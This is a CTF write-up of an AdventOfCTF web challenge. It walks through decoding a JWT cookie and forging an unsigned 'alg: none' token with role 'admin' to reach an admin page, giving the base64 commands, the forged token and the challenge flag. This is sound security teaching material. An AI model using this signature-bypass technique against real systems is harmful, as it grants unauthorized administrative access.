4.0 KiB
+++ author = "Maik de Kruif" title = "JWT" subtitle = "Challenge 9 - AdventOfCTF" date = 2020-12-11T21:24:52+01:00 description = "A writeup for challenge 9 of AdventOfCTF." cover = "img/writeups/adventofctf/2020/973ded4b2381c28af6c24d3d670303c6.png" tags = [ "AdventOfCTF", "challenge", "ctf", "hacking", "writeup", "web", ] categories = [ "ctf", "writeups", "hacking", ] aliases = [ "challenge_9" ] +++
- Points: 900
Description
Can you find a way to get into the Naughty List Management System as an admin?
Visit https://09.adventofctf.com to start the challenge.
Finding the vulnerability
Upon opening the website, we're greeted with a login screen. When we enter random credentials, we're greeted with some text: "Hey user your password is incorrect.".
This took me quite some time to find out, but it's actually fairly obvious. I started by taking a look at the cookies, but there were none. Then I tried some common URLs, but nothing (except /admin). Then I took another look at the error message; some bold text... The username is user and the password is incorrect.
When entering these credentials, we get redirected to /admin with a message: "The naughty list is currently empty....". This time, however, we also got a cookie.
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NzE3ODU3fQ.rre-8SBgllKlu7KpJFXuO-SEN3s-9IPRSJ7hmclXpNs
JWT
This looks like a JWT. We can confirm this by decoding the text before the first period (.):
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -d
{ "typ": "JWT", "alg": "HS256" }
It is a JWT that uses the HMAC-SHA256 (HS256) algorithm. Using a JSON Web Token (JWT) is a compact, URL-safe, way of representing claims between a web server and a client. Let's decode the second part as well.
echo -n "eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NzE3ODU3fQ" | base64 -d
{
"auth": 28961,
"text": "I do love a good puzzle.",
"role": "user",
"iat": 1607717857
}
We don't have to decode the last part as it is a secret that consists of non-printable characters.
The role in the JWT probably has to be changed to "admin" so let's try to do that.
Modifying a JWT
To modify a JWT, we would have to know the secret that was used to create it. If only there were some vulnerabilities 😀.
In a JWT you can use none as the algorithm. It is intended to be used for situations where the integrity of the token has already been verified. Luckily for us, some libraries treat tokens signed with the none algorithm as a valid token with a verified signature. This means anyone can create their own "signed" tokens with whatever payload they want, allowing arbitrary account access on some systems.
To create such a JWT, we just reverse the process. Firstly, we create the first part of the token.
echo -n '{"typ":"JWT","alg":"none"}' | base64
> eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
Then the middle part:
echo -n '{"auth":28961,"text":"I do love a good puzzle.","role":"admin","iat":1607717857}' | base64
> eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzcxNzg1N30=
And finally, the secret. We can leave this empty because we use the none algorithm.
Putting all of this together and removing the padding (=), we get eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzcxNzg1N30.
Solution
When setting the cookie to this value and reloading the page, we get the flag: NOVI{Jw7_f@ilure_in_n0ne}.
This flag can then be submitted for the challenge.